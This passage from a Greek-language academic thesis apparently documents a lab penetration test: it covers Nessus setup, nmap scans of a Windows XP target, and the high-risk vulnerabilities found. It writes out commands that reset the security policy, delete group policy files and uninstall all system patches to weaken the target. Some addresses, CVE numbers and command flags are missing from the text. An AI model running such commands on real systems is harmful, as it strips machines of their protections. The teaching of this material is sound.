έρευνα περί εργαλείων ασφάλειας κατά τα έτη 2000, 2003, 2006 που διεξήχθη από την αξιόπιστη SecTools.Org. Το Nessus είναι ένας δωρεάν ελεγκτής τρωτοτήτων που μπορεί να χρησιμοποιηθεί ώστε να εκτελέσει μια πλειάδα από δικτυακού εύρους ελέγχους ασφάλειας μειώνοντας σημαντικά το χρόνο που σπαταλιέται κατά τη διάρκεια ενός ελέγχου διείσδυσης με χειροκίνητους ελέγχους. Η Tenable Network Security Inc. είναι η δημιουργός και διαχειριστής του Nessus όπου με μόνιμη πρόθεση τη βελτίωση της μηχανής Nessus εκδίδει περισσότερα plug-ins τα οποία παρέχουν τη δυνατότητα για τους πιο σύγχρονους ελέγχους τρωτότητας. Η άμεση και απευθείας τροφοδοσίας με τα τελευταία plug ins κάθε φορά της direct feed υπηρεσίας χρεώνεται ενώ εντελώς δωρεάν παρέχονται με επτά μέρες καθυστέρηση. To Nessus περιέχει περισσότερα από 1200 security tests (ο αριθμός των οποίων αυξάνεται συνεχώς) τα οποία χωρίζονται στις εξής 23 κατηγορίες: 1. Backdoors 2. CGI abuses 52

55 3. CISCO 4. Denial Of Service 5. Finger abuses 6. Firewalls 7. FTP 8. Gain a shell remotely 9. Gain root remotely 10. General 11. Misc. 12. Netware 13. NIS 14. Port scanners 15. Remote file access 16. RPC 17. Settings 18. SMTP problems 19. SNMP 20. Untested 21. Useless services 22. Windows 23. Windows:User management Αρχιτεκτονική του Nessus Η δομή του είναι βασισμένη στο μοντέλο αρχιτεκτονικής πελάτηςεξυπηρετητής (client-server). Γενικά το μοντέλο πελάτης εξυπηρετητής διαχωρίζει τα συστήματα πελάτη από τα συστήματα εξυπηρετητή, τα οποία επικοινωνούν μεταξύ τους μέσω ενός δικτύου πληροφοριακών συστημάτων. Το Nessus διαμορφώνει τις κατάλληλες επιλογές και παραμέτρους των ελέγχων τρωτότητας για τους πολυποίκιλους στόχους και δίνει αναφορά των αποτελεσμάτων της έρευνας στο χρήστη. Ο Nessus εξυπηρετητής είναι ουσιαστικά ο υπεύθυνος που πραγματοποιεί όλους τους ελέγχους τρωτότητας οι οποίοι είναι εγκατεστημένοι στη γλώσσα Nessus Attack Scripting Language (NASL). Μπορεί να γραφτούν και σε C γλώσσα προγραμματισμού κάτι που όμως πρέπει να αποφεύγεται γιατί προκύπτουν προβλήματα συμβατότητας κάνοντας τη NASL απαραίτητο και κυρίαρχο σύμμαχο του Nessus, αφού άλλωστε είναι η γλώσσα που φτιάχτηκε για να διευκολύνει το χρήστη του Nessus να προσαρμόζει τους ελέγχους του για κάθε ξεχωριστή και ιδιαίτερη πρόκληση. Ο διακομιστής Nessus περιμένει τις εισερχόμενες αιτήσεις από τους Nessus clients που επιθυμούν να πραγματοποιήσουν τους συγκεκριμένους ελέγχους. Οι πελάτες πρέπει να αναγνωρίζονται πρώτα και να αδειοδοτούνται από το server, πριν επιτραπεί να πραγματοποιηθούν έλεγχοι τρωτότητας. Αυτή η αρχιτεκτονική διευκολύνει τη κεντρική διαχείριση των εγκαταστάσεων του Nessus. Όλη η επικοινωνία μεταξύ πελάτη και διακομιστή πραγματοποιείται μέσω μια κρυπτογραφημένης σύνδεσης TLS (Transport Layer Security). Στο υψηλότερο επίπεδο το Nessus μπορεί να τρέξει με δύο τρόπους, με ή χωρίς διαπιστευτήρια αυθεντικοποίησης. Όταν τρέχει χωρίς διαπιστευτήρια το Nessus εκτελεί απομακρυσμένους Web-based ελέγχους ασφάλειας 53

56 ελέγχοντας πως ανταποκρίνεται ο στόχος σε συγκεκριμένες δικτυακές εξετάσεις. Από την άλλη όταν τρέχει διαπιστευτήρια επιπροσθέτως αποκτά πρόσβαση στον απομακρυσμένο υπολογιστή και πραγματοποιεί μια σειρά από τοπικούς ελέγχους ασφάλειας, όπως η επιβεβαίωση ότι είναι ενημερωμένος ο host με τις πιο τελευταίες ενημερώσεις και επιδιορθώσεις λογισμικού. Απαιτήσεις Συστήματος Για να εξεταστεί ένας διακομιστής Nessus με συγκρότημα δικτύου C κλάσης, που σημαίνει ότι είναι πιθανά 2,080,800 διευθύνσεις (δίκτυα) καθένα από τα οποία υποστηρίζει 254 computers (hosts), οι ελάχιστες απαιτήσεις είναι επεξεργαστή στα 733 MHz με 256Mb μνήμης. Για μεγαλύτερης έκτασης έρευνες το 1Gb μνήμης πρέπει να είναι διαθέσιμο. Ακόμα για το Nessus διακομιστή απαιτούνται δικαιώματα διαχειριστή ή root, για να εγκατασταθεί σε οποιαδήποτε πλατφόρμα. Επίσης απαραίτητη κρίνεται μια καλή TCP/IP σύνδεση δικτύου και για ακόμα καλύτερα αποτελέσματα να είναι απαλλαγμένη από host-based firewalls, NAT (Network Address Translations) και ACLs (Access Control Lists) σε ρούτερ. Φυσικά όπως και έγινε για τα παραδείγματα και της πρακτικές της εργασίας το Nessus μπορεί κάλλιστα να εγκατασταθεί σε μια εικονική μηχανή σαν το VMware. Το αρνητικό του τελευταίου όμως είναι πως μπορεί να μειωθεί η απόδοση δικτυακής ανάλυσης και γι αυτό πρέπει να διασφαλίζεται ότι η εικονική μηχανή είναι απευθείας συνδεδεμένη στο δίκτυο και δεν υπόκειται σε Nat. Διαμορφώσεις Επιλογών Η εξ ορισμού διαμόρφωση λειτουργίας του Nessus πιθανότατα δεν ταιριάζει σε όλες τις περιπτώσεις. Γι αυτό το λόγο, το Nessus υποστηρίζει ένα μεγάλο αριθμό επιλογών που επιτρέπουν την απόλυτη προσαρμογή στην εκάστοτε περίπτωση. Διάφορες διαμορφώσιμες επιλογές είναι : Δυνατότητα εκτελέσεων και από μικρότερα συστήματα όπως τα Laptop. Ακριβής διαμόρφωση ελέγχου ασφάλειας στόχων πίσω από τείχη πυρασφάλειας (με ενδεχόμενη αργοπορία). Ανίχνευση εκλεπτυσμένων συστημάτων χωρίς τη χρήση ηχηρών και βίαιων διεισδύσεων. Γενικά οι διαμορφώσιμες επιλογές του Nessus Server βρίσκονται στο αρχείο nessusd.conf, στα Unix-based συστήματα, το οποίο μπορεί και διαμορφώνεται σε κάθε περίπτωση σε ζωντανό χρόνο από το Nessus client. Όταν είναι σε λειτουργία ένας Nessus client πολλές από τις επιλογές δεν είναι διαθέσιμες έως ότου συνδεθεί με το διακομιστή. 54

57 Οδηγίες Εγκατάστασης του Nessus στο Backtrack 4 Προφανώς η εγκατάσταση του Nessus σε Unix-based συστήματα δεν είναι το ίδιο απλή και προφανής όπως με τα Windows. Σε αυτή την ενότητα θα δοθούν σύντομα και περιεκτικά βήματα προκειμένου να στήσουμε πλήρως το συγκεκριμένο λογισμικό στον υπολογιστή μας και πιο συγκεκριμένα σε Λειτουργικό Σύστημα Backtrack 4 προκειμένου να χρησιμοποιηθεί στο κομμάτι της αποτίμησης αδυναμιών στη συνέχεια της εργασίας μας. Βήμα 1 ο : Πηγαίνουμε στην ιστοσελίδα του Nessus ( προκειμένου να διαλέξουμε την έκδοση που μας ενδιαφέρει ανάλογα με το λειτουργικό μας σύστημα. Στη περίπτωση μας κατεβάζουμε για 32 bits Ubuntu 8.04 (δηλαδή το αρχείο Nessus ubuntu804_i386.deb KB) Βήμα 2 ο : Αποθηκεύουμε το αρχείο αυτό σε ένα φάκελο (πχ. στο Home φάκελο μας και ανοίγουμε ένα command line μέσα σε αυτό το φάκελο. Σε εκείνο το σημείο εκτελούμε την ακόλουθη εντολή : dpkg -i Nessus ubuntu804_i386.deb Βήμα 3 ο : Στη συνέχεια πρέπει να κάνουμε register στο site του Nessus προκείμενου να έχουμε πλήρη ενημέρωση και να εγκαθίστανται τα plug-in στον client μας. Ωστόσο θα έχουμε λάβει ένα κωδικό της μορφής ΧΧΧΧ- ΧΧΧΧ-ΧΧΧΧ-ΧΧΧΧ-ΧΧΧΧ στο μας. Για να κάνουμε register με αυτό το κωδικό στο ίδιο session πληκτρολογούμε την εντολή: /opt/nessus/bin/nessus-fetch register XXXX-XXXX-XXXX-XXXX- XXXX Βήμα 4 ο : Αφού έχουμε κάνει σωστή εγγραφή τώρα πρέπει να δημιουργήσουμε ένα χρήστη στο server μέσα από τον οποίο θα μπορούμε να κάνουμε log in στο client μας. Αυτό γίνεται με την εντολή: /opt/nessus/sbin/nessus-adduser Σε αυτό το σημείο αρκεί να προσθέσουμε το username και το password που θέλουμε. Βήμα 5 ο : Όπως είπαμε για να δουλέψει σωστά η επικοινωνία μας με το server Nessus πρέπει να σηκώσουμε το server. Αυτό γίνεται με την εντολή: /etc/init.d/nessusd start Βήμα 6 ο : Όλα τα παραπάνω βήματα ήταν η προετοιμασία για να μπορέσουμε να χρησιμοποιήσουμε σωστά και αποδοτικά το Nessus. Αυτό θα γίνει σε αυτό το βήμα. Αρχικά ανοίγουμε ένα browser (Mozilla Firefox πχ.) και 55

58 πληκτρολογούμε διεύθυνση (υπάρχει περίπτωση να υπάρξουν προειδοποιήσεις ασφάλειας οπότε τις παρακάμπτουμε). Αν όλα έχουν υλοποιηθεί ομαλά θα δούμε το πεδίο εισόδου χρήστη του Nessus. Εκεί θα πληκτρολογήσουμε τα στοιχεία που δώσαμε παραπάνω στο βήμα 4 και θα μπούμε στο κομμάτι χρήσης και διαμόρφωσης του Nessus για την περαιτέρω δουλειά μας. Ένα εναλλακτικό σημείο που θα μας ανοίξει πάλι το Nessus είναι κάνοντας κλικ στο path Backtrack Internet Nessus Client ή τέλος μπορούμε να τον ανοίξουμε και από γραμμή εντολών με την εντολή: /opt/nessus/bin/nessusclient (Nessus,2011). Βάσικες οδηγίες διαμόρφωσης και χρήσης Η χρήση του Nessus καθώς και η δομή λειτουργίας και διαμόρφωσης του είναι εξαιρετικά απλές ως προς το τρόπο δημιουργίας μια ανίχνευσης ευπαθειών αλλά παράλληλα πολύ πολύπλοκες στην εύρεση και στο καθορισμό μια σωστής πολιτικής ανίχνευσης. Τα βήματα για να πραγματοποιηθεί μια τυπική ανίχνευση είναι τα παρακάτω : Βήμα 1 ο - Δημιουργία μιας νέας πολιτικής ανίχνευσης : Εδώ δημιουργούμε μια καινούρια πολιτική βάση των κριτηρίων που μας ενδιαφέρουν μέσα από την επιλογή Policies. Μέσα από τη διαμόρφωση αυτής της πολιτικής μπορούμε να επιλέξουμε για παράδειγμα το είδος του port scanning που θέλουμε να κάνουμε (TCP scan, SYN scan κλπ.) ή να ορίσουμε επιλογές ανίχνευσης όσον αφορά τη βάση δεδομένων κάποιου απομακρυσμένου database server πιθανώς και πολλά άλλα στοιχεία τα οποία θα συνθέσουν μια ξεχωριστή και μοναδική πολιτική την οποία μπορούμε να αποθηκεύσουμε μέσω του client για χρήση και στο μέλλον. Βήμα 2 ο - Δημιουργία ενός νέου scan: Εδώ δημιουργούμε τις προυποθέσεις που θέλουμε για να προετοιμάσουμε το τελικό έδαφος για να γίνει η επίθεση μας. Ουσιαστικά αφορά τις τελικές μας επιλογές. Στο πεδίο Scans που θα επιλέξουμε θα ορίσουμε φυσικά το όνομα του scan, τη πολιτική ανίχνευσης την οποία προφανώς έχουμε διαμορφώσει στο βήμα 1, βάση της οποία θέλουμε να γίνει το συγκεκριμένο scan, φυσικά τη διεύθυνση ή τις διευθύνσεις των απομακρυσμένων υπολογιστών που θέλουμε να ανιχνεύσουμε, και ακόμα πιο εξειδικευμένα να ορίσουμε αν θέλουμε κάποιο target file στον απομακρυσμένο υπολογιστή που μπορεί να μας ενδιαφέρει προκειμένου να κερδίσουμε χρόνο ή να έχουμε πιο εκτενή αποτελέσματα πάνω σε αυτό. Κλείνοντας το βήμα 2 επιλέγουμε το κουμπί Launch για να ξεκινήσει η ανίχνευση ευπαθειών βάση όλων των παραπάνω προδιαγραφών. Βήμα 3 ο - Έλεγχος του report : Σε αυτό το σημείο έχουμε φτάσει στο τέλος του scan μας και πλέον μπορούμε να δούμε τα αποτελέσματα που πήραμε προκειμένου να βρούμε πιθανές αδυναμίες στο απομακρυσμένο σύστημα. Γι αυτό το λόγο το Nessus παράγει μόνο του τελικές αναφορές στις οποίες παραθέτει το πλήθος των ευπαθειών που βρήκε, μια δική του εκτίμηση σοβαρότητας ευπάθειας (severity με τιμές Low, Medium, High) για κάθε μία απ αυτές και φυσικά εξήγει για τη κάθε αδυναμία από που προέρχεται και ποια είναι τα πιθανά εκμεταλλεύσιμα σημεία της από κάποιον ενδεχομένων κακόβουλο χρήστη. Τα report μπορούμε να τα κατεβάσουμε από το server σε 56

59 δυο διαφορετικά format αρχείων. Το πρώτο είναι σε nessus αρχεία (.nessus) τα οποία είναι φτιαγμένα σε XML για άμεση συμβατότητα και μεταφερσιμότητα και περιέχουν όλους τους στόχους, τις πολιτικές και τα αποτελέσματα που προέκυψαν από το συγκεκριμένο scan. Το δεύτερο format είναι σε κλασσικά HTML αρχεία και μπορούν να μας παρουσιάσουν μέσω του browser μας τα αποτελέσματα που είχαμε. (Nessus,2011 ) Περιγραφή της δικής μας παραμετροποίησης του Nessus Στη δική μας περίπτωση, δηλαδή σε παρακάτω ενότητα που αποτελεί εκτέλεση δοκιμής εισβολής, έπρεπε να διαχειριστούμε το Nessus, να το παραμετροποιήσουμε και να το διαμορφώσουμε αναλόγως προκειμένου να εκτελέσουμε ένα ανάλογο scan και να βρούμε πιθανές τρωτότητες και αδυναμίες που υπάρχουν στο σύστημα στόχο. Αρχικά εγκαταστήσαμε το Nessus με τις παραπάνω οδηγίες χρήσης και δημιουργήσαμε ένα username και password για ένα νέο χρήστη μας (με δικαιώματα διαχειριστή φυσικά). Σε αυτό το σημείο ουσιαστικά στόχος είναι να περιγράψουμε της παραμέτρους της πολιτικής που ορίσαμε (δηλαδή το βήμα 1 της παραπάνω σελίδας) για το scan που πραγματοποιήσαμε το οποίο θα αναλυθεί περισσότερο και ως προς τα αποτελέσματα του στην ενότητα 3.8. Εμείς χρησιμοποιήσαμε τη πολιτική Internal Network Scan όπως τη διαμορφώσαμε εμείς βάζοντας κύρια χαρακτηριστικά ανίχνευσης τα παρακάτω: SYN Scan SNMP Scan Netstat SSH Scan Netstat WMI Scan Ping Host Επίσης ενεργοποιήσαμε την επιλογή Safe Checks προκειμένου να έχουμε ασφαλείς ελέγχους απενεργοποιώντας τα plug-in από τα οποία μπορεί να προκληθεί κάποιο δυσμενές αντίκτυπο στο απομακρυσμένο μηχάνημα μας. Επιπλέον ορίσαμε την επιλογή Silence Dependencies με την οποία η έξοδος από όσα plug-in προσθέτουμε στη πολιτική δεν εμφανίζεται στο εξωτερικό report. Τέλος ορίσαμε την παράμετρο Long Scan Details to Server για να αποθηκεύει επιπλέον πληροφορίες στο log αρχείο του Nessus Server. Σαν plug-in ορίσαμε τα family, των Firewalls του SNMP και των Web Servers για πιο ειδικούς ελέγχους σχετικά με αυτά. Τα Credentials και τα Preferences τα αφήσαμε σε by default mode. 57

60 3.5 Προετοιμασία για Εκτέλεση Δοκιμής Εισβολής Στο κεφάλαιο αυτό γίνεται μια συνδυαστική και πρακτική χρήση όσων αναπτύχθηκαν παραπάνω σε θεωρητικό επίπεδο για την εκτέλεση μιας δοκιμής εισβολής σε ένα Windows XP μηχάνημα μέσα από τη χρήση εργαστηριακών μεθόδων και πιο συγκεκριμένα του Metasploit Framework από λειτουργικό σύστημα Backtrack 4. Επίσης στο τρέχον κεφάλαιο θα παρουσιαστούν εγχειρίδιο διαμόρφωσης του δικτύου χρήσης μας, εγχειρίδιο χαρτογράφησης το οποίο θα προκύψει μέσα από τη χρήση του εργαλείου Nmap. Θα γίνει χρήση του Nessus για την αποτίμηση αδυναμιών του συστήματος στόχου καθώς και αξιολόγηση του report που θα μας παρουσιάσει τις σχετικές ευπάθειες. Στη συνέχεια, όπως είναι φυσικό, θα γίνει προσπάθεια εκμετάλλευσης ευπαθειών μέσα από τη χρήση του πλαισίου Metasploit Framework. Τέλος με βάση τα αποτελέσματα μας θα προταθούν αντίμετρα ασφάλειας προκειμένου να καλύψουμε τα κενά τα οποία μπορούν να γίνουν αντιληπτά και εκμεταλλεύσιμα από κάποιο πιθανώς κακόβουλο απομακρυσμένο χρήστη. 3.6 Δημιουργία και διαμόρφωση τοπικού δικτύου Στην παράγραφο αυτή ουσιαστικά έχει δημιουργηθεί ένα εγχειρίδιο διαμόρφωσης δικτύου προκειμένου να γίνει η περιγραφή της κατάστασης πάνω στην οποία έγινε εργαστηριακά η επίθεση αυτή. Περιγράφονται τα συστήματα που λαμβάνουν χώρα καθώς και οι διάφορες διαμορφώσεις (configurations) οι οποίες έγιναν στα λειτουργικά μας συστήματα. Καταρχήν είναι σημαντικό να ξεκινήσουμε από τους εικονικούς υπολογιστές που χρησιμοποιήσαμε όσον αφορά τον επιτιθέμενο αλλά και το στόχο. Στο ρόλο του επιτιθέμενου έχουμε ένα λειτουργικό σύστημα Backtrack 4 (Unix-based). Στο ρόλο του συστήματος στόχου έχουμε ένα Λειτουργικό Σύστημα Windows XP. 58

61 Διαμορφώσεις Backtrack 4 Στο σύστημα επίθεσης μας έχουμε εγκαταστήσει τα παρακάτω τρία εργαλεία που θα χρησιμοποιήσουμε για να πραγματοποιήσουμε μια μεθοδευμένη επίθεση. Nmap Nessus Metasploit Framewrork Το κάθε ένα από τα παραπάνω εργαλεία αποτελεί ένα βήμα για τη κατάκτηση του συστήματος στόχου δηλαδή των Windows. Αρχικά θα πραγματοποιήσουμε μια χαρτογράφηση δικτύου με το Nmap προκειμένου να εντοπίσουμε πιθανές ανοιχτές θύρες και να δούμε ποιες υπηρεσίες τρέχουν στο μηχάνημα στόχο μας. Θα χρησιμοποιήσουμε διάφορες τεχνικές ανίχνευσης του Nmap καθώς υπάρχουν διάφορα πλεονεκτήματα και μειονεκτήματα στη καθεμιά. Στη συνέχεια θα γίνει μια καταγραφή των πιο σημαντικών ευπαθειών (vulnerabilities) που θα προσπαθήσουμε να εντοπίσουμε με το λογισμικό Nessus που περιγράψαμε παραπάνω. Επίσης θα προσπαθήσουμε να αναζητήσουμε τα αντίστοιχα exploits τα οποία εκμεταλλεύονται τις συγκεκριμένες αδυναμίες. Τέλος θα προσπαθήσουμε να εκμεταλλευτούμε αυτές τις τρωτότητες που εντοπίστηκαν από το Nessus με τη χρήση του πλαισίου Metasploit Framework και των αντίστοιχων exploits εκτελώντας τις αντίστοιχες επιθέσεις στο σύστημα των Windows. Αυτά τα βήματα θα περιγράφουν και στη συνέχεια της εργασίας ως ξεχωριστές ενότητες το καθένα. Διαμόρφωσεις Windows XP Προκειμένου να έχουμε τα επιθυμητά αποτελέσματα στην επίθεση μας διακόψαμε κάποιες υπηρεσίες ασφάλειας από το Πίνακα ελέγχου στο σύστημα των Windows όπως το firewall, οι αυτόματες ενημερώσεις και οι ειδοποιήσεις ασφάλειας από το security center όπως φαίνεται παρακάτω στην Εικόνα

62 Εικόνα 3.1 Επίσης εκτελέσαμε και κάποιες εντολές, λαμβάνοντας υπόψη τις παραμετροποιήσεις της Romanian Security Team (RST), σε command line προκειμένου να δημιουργήσουμε κάποια επιπλέον κενά ασφάλειας στο σύστημα μας. Στη συνέχεια φαίνονται αυτές οι εντολές C:\>secedit /configure /db reset /cfg C:\windows\security\templates\compatws.inf" /overwrite C:\>del c:\windows\system32\grouppolicy\machine\registry.pol Με τις παραπάνω εντολές αφαιρέσαμε τα αντικείμενα της πολιτικής ασφάλειας για Group χρήστες. Τέλος με την ακόλουθη εντολή αφαιρέσαμε όλα τα patches του συστήματος όπως φαίνεται και στην συνέχεια στην Εικόνα 3.2 C:\>dir /a /b c:\windows\$ntuninstallkb* > kbs.txt && for /f %i in (kbs.txt) do cd c:\windows\%i\spuninst && spuninst.exe /passive /norestart && ping -n 15 localhost > nul 60

63 Εικόνα 3.2 Επίσης χρειάστηκε να ενεργοποιήσουμε δυο εργαλεία των Windows τα οποία ήταν ο IIS (Internet Information Services) και το SNMP (Simple Network Management Protocol). Οι οδηγίες ενεργοποίησης περιλαμβάνονται στη συνέχεια. Για τον IIS: Ακολουθούμε τη διαδρομή Start Settings Control Panel Add or Remove Programs και επιλέγουμε αριστερά την επιλογή Add/Remove Windows Components όπως δείχνουμε στην Εικόνα 3.3 Εικόνα

64 Αφού κάνουμε αυτή την επιλογή θα μας εμφανιστεί το παράθυρο που φαίνεται στην Εικόνα 3.4 και μέσα απ αυτό επιλέγουμε την ενεργοποίηση του IIS. Εικόνα 3.4 Πατώντας next φτάνουμε στην ενεργοποίηση του και όπως θα δούμε παρακάτω στην Εικόνα 3.5 προσθέτοντας ένα δοκιμαστικό αρχείο (example.html) στο φάκελο C:\inetpub\wwwroot ο IIS έχει ενεργοποιηθέι και το διαβάζει κανονικά στη διεύθυνση Εικόνα

65 Για το SNMP: Η διαδικασία είναι ίδια με προηγουμένως. Ακολουθούμε τη διαδρομή Start Settings Control Panel Add or Remove Programs και επιλέγουμε αριστερά την επιλογή Add/Remove Windows Components όπως δείχνουμε στην Εικόνα 3.3 πιο πάνω και στη συνέχεια επιλέγουμε στο παράθυρο που θα εμφανιστεί τη καρτέλα Management and Monitoring Tools όπως φαίνεται στη συνέχεια στην Εικόνα 3.6. Εικόνα 3.6 Πατώντας next μας ανοίγει τα συγκεκριμένα εργαλεία και εμείς επιλέγουμε να ενεργοποιήσουμε το SNMP όπως φαίνεται στην Εικόνα.7 στη συνέχεια και πατάμε OK. (Microsoft Technet) Εικόνα

66 3.7 Χαρτογράφηση Θύματος Στην ενότητα αυτή θα προσπαθήσουμε να χαρτογραφήσουμε το σύστημα-θύμα προκειμένου να εντοπίσουμε υπηρεσίες, τύπο λειτουργικού συστήματος και οποιαδήποτε στοιχεία μπορούν να μας φανούν χρήσιμα στην επίθεση μας. Αυτό θα γίνει με τη χρήση του προγράμματος χαρτογράφησης δικτύου Nmap το οποίο αναλύσαμε στο κεφάλαιο 2 της εργασίας, με το οποίο θα εκτελέσουμε τέσσερεις διαφορετικές ανιχνεύσεις από το Backtrack προς το σύστημα των Windows (TCP SYN Scan,Version Detection Scan, IP Scan και UDP Scan) οι οποίες θα παρουσιαστούν αναλυτικά. TCP SYN Scan Η χρήση της αφορά πληροφορίες μόνο για το ποιες είναι οι ανοικτές και οι κλειστές θύρες του συστήματος καθώς επίσης και ορισμένες επιπλέον πληροφορίες για τις θύρες αυτές. Πλεονεκτήματα Δεν δημιουργείται TCP session, δεν καταγράφεται στα logs της εφαρμογής του θύματος. Μειονεκτήματα Το nmap απαιτεί προνομιακή πρόσβαση στο σύστημα. Χωρίς προνομιακή πρόσβαση δεν μπορεί να επιτευχθεί η δημιουργία των απαιτούμενων πακέτων για την εκτέλεση της half-open connection διαδικασίας. (Κοτζανικολάου., 2011) Στην περίπτωση μας εκτελέσαμε SYN Scan με την εντολή: nmap ss v (η διεύθυνση αυτή αντιστοιχεί στο σύστημα στόχο). Τα αποτελέσματα που πήραμε στο πίνακα με τις ενδιαφέρουσες θύρες (interesting ports) είναι πώς 993 θύρες είναι κλειστές και 7 ανοιχτές. Οι θύρες παρουσιάζονται αναλυτικά με την υπηρεσία που τρέχει παράλληλα σε αυτές στον ακόλουθο Πίνακα.1 Port Service 25/tcp smtp 88/tcp http 135/tcp msrpc 139/tcp Netbios-ssn 443/tcp https 445/tcp Microsoft-ds 1025/tcp NFS-or-IIS Πίνακας.1. Πίνακας ενδιαφέρουσων θυρών στο σύστημα των Windows 64

67 Ακριβώς τα αποτελέσματα της εντολής παρουσιάζονται στην Εικόνα 3.8 που ακολουθεί. Εικόνα 3.8 Version Detection Scan Σε αυτό το σημείο θα χρησιμοποιηθεί η ανίχνευση Version Detection με σκοπό την επιβεβαίωση σχετικά με τα upgrades τα οποία έχουν γίνει στις δικτυακές εφαρμογές και τα patches που έχουν εγκατασταθεί και σε συνδυασμό με τη παράμετρο Ο θα προσπαθήσουμε να μάθουμε στοιχεία για το λειτουργικό σύστημα. Όπως και όλες οι ανιχνεύσεις του Nmap έχει πλεονεκτήματα και μειονεκτήματα. 65

68 Πλεονεκτήματα Παροχή πληροφοριών σχετικά με την έκδοση των εφαρμογών. Μειονεκτήματα 1) Οι έλεγχοι που πραγματοποιούνται είναι αρκετά διεισδυτικοί. 2)Δημιουργία sessions με τις εφαρμογές, οι οποίες τις περισσότερες φορές καταγράφονται στα logs της εφαρμογής. (Κοτζανικολάου., 2011) Πιο συγκεκριμένα στη περίπτωση μας χρησιμοποιήθηκε η εντολή: nmap sv O Όπως βλέπουμε παρακάτω και στην Εικόνα.9 μπορούμε να καταλάβουμε ότι έχουμε να κάνουμε πλήρως με ένα μηχάνημα που χρησιμοποιεί Windows λειτουργικό σύστημα και επίσης Microsoft εφαρμογές όπως (IIS, Microsoft ESMTP κλπ.) Εικόνα

69 IP Scan Η συγκεκριμένη ανίχνευση ερευνά για IP πρωτόκολλα τα οποία χρησιμοποιούνται από το σύστημα (π.χ.icmp, TCP και UDP). Για να πραγματοποιηθεί απαιτείται προνομιακή πρόσβαση στο σύστημα και δεν ανιχνεύει TCP και UDP θύρες. Πλεονεκτήματα Ανιχνεύει μη-συνηθισμένα IP πρωτόκολλα τα οποία χρησιμοποιούνται από το σύστημα (κυρίως σε routers και switches για τον εντοπισμό των πρωτοκόλλων τα οποία υποστηρίζονται (π.χ. EGP ή IGP). Μειονεκτήματα Δημιουργεί κίνηση η οποία δεν είναι συνηθισμένη για το δίκτυο και η οποία μπορεί να εντοπιστεί. (Κοτζανικολάου, 2011) Χρησιμοποιώντας την εντολή nmap so v στο θύμα μας πήραμε σαν αποτέλεσμα ότι τρέχουν τα πρωτόκολλα icmp, tcp, udp και sctp. Αναλυτικά τα ενδιαφέροντα στοιχεία που μας παρουσίασε αυτή η ανίχνευση φαίνονται στην Εικόνα.10. Εικόνα

70 UDP Scan Τέλος στη χαρτογράφηση μας πραγματοποιήσαμε μια UDP ανίχνευση προκειμένου να κάνουμε μια αναζήτηση στις UDP θύρες. Πλεονεκτήματα Δεν απαιτείται η δημιουργία TCP συνδέσεων, δημιουργείται TCP session, δεν καταγράφεται στα logs της εφαρμογής του θύματος. Μειονεκτήματα 1) Παρέχει μόνο πληροφορίες που αφορούν τις θύρες. 2) Για κάθε μη διαθέσιμη θύρα αποστέλλεται ένα ICMP πακέτο. 3) Απαιτείται προνομιακή πρόσβαση στο σύστημα. (Κοτζανικολάου,2011) Η εντολή που χρησιμοποιήσαμε ήταν η παρακάτω: Nmap su v Όπως βλέπουμε στην Εικόνα 3.11 βρέθηκαν 989 θύρες κλειστές και 11 σε κατάσταση open filtered. Μάλιστα μπορούμε να δούμε στη θύρα 161 τρέχει το snmp που είχαμε ενεργοποιήσει στη προηγούμενη ενότητα του κεφαλαίου. Εικόνα

71 3.8 Εύρεση και καταγραφή ευπαθειών Όπως αναφέραμε και στη παραπάνω ενότητα 3.2, εδώ χρησιμοποιήσαμε τη πολιτική ανίχνευσης Internal Network Scan όπως φαίνεται και στην Εικόνα 3.12 και Εικόνα Εικόνα 3.12 Εικόνα 3.13 Προσθέσαμε αυτή τη πολιτική σε ένα νέο scan με τίτλο ergasia1 και σαν στόχο ορίσαμε τη διεύθυνση IP των Windows XP. Η ανίχνευση ευπαθειών όταν ολοκληρώθηκε μας έδωσε ένα σύνολο 43 αδυναμιών εκ των οποίων οι 3 ήταν υψηλού κινδύνου (High) 2 μεσαίου κινδύνου (Medium) και 38 χαμηλού κινδύνου (Low). Τέλος βρέθηκαν και 18 ανοιχτές θύρες. Στη συνέχεια της ενότητας θα παρουσιάσουμε τις 3 ευπάθειες υψηλού κινδύνου που παρουσιάστηκαν στο σύστημα θύμα μας. Οι ευπάθειες αυτές θα παρουσιάζονται σύμφωνα με τον αριθμό Common Vulnerability and Exposure (CVE) τους. 69

72 1 η - CVE Πρωτόκολλο: tcp Σοβαρότητα: Υψηλή Περιγραφή: Ο απομακρυσμένος υπολογιστής είναι ευπαθής σε υπερχείλιση στοίβας στην υπηρεσία του Server, κάτι το οποίο μπορεί να επιτρέψει στον επιτιθέμενο να εκτελέσει κακόβουλο κώδικα στον απομακρυσμένο υπολογιστή με δικαιώματα διαχειριστή. Σχετικό Exploit: Metasploit (Microsoft Server Service Relative Path Stack Corruption). (CVE ) 2 η - CVE Πρωτόκολλο: udp Σοβαρότητα: Υψηλή Περιγραφή: Είναι δυνατό να ληφθεί το προεπιλεγμένο όνομα της κοινότητας του απομακρυσμένου SNMP server. Ένας εισβολέας μπορεί να χρησιμοποιήσει τις πληροφορίες αυτές για να αποκτήσει περισσότερες γνώσεις σχετικά με τον απομακρυσμένο υπολογιστή, ή να αλλάξει τις παραμέτρους του απομακρυσμένου συστήματος (αν η default κατάσταση του επιτρέπουν τέτοιες τροποποιήσεις). Σχετικό Exploit: Δεν υπάρχει γιατί η ευπάθεια εκμεταλλεύεται από πιθανή χαρτογράφηση. (CVE ). 3 η - CVE CVE CVE Πρωτόκολλο: tcp Σοβαρότητα: Υψηλή Περιγραφή: Στον απομακρυσμένο υπολογιστή μπορεί να προκληθεί φθορά μνήμης στο SMB (Server Message Block- ή CIFS [Common Internet File System] με πιθανό αποτέλεσμα κάποιο crash από εκτέλεση κακόβουλου κώδικα και κατά συνέπεια επίθεση άρνησης υπηρεσίας στον υπολογιστή αυτό. Σχετικό Exploit: Διαθέσιμο για άλλες πλατφόρμες εκτός του Metasploit. (CVE ). 70

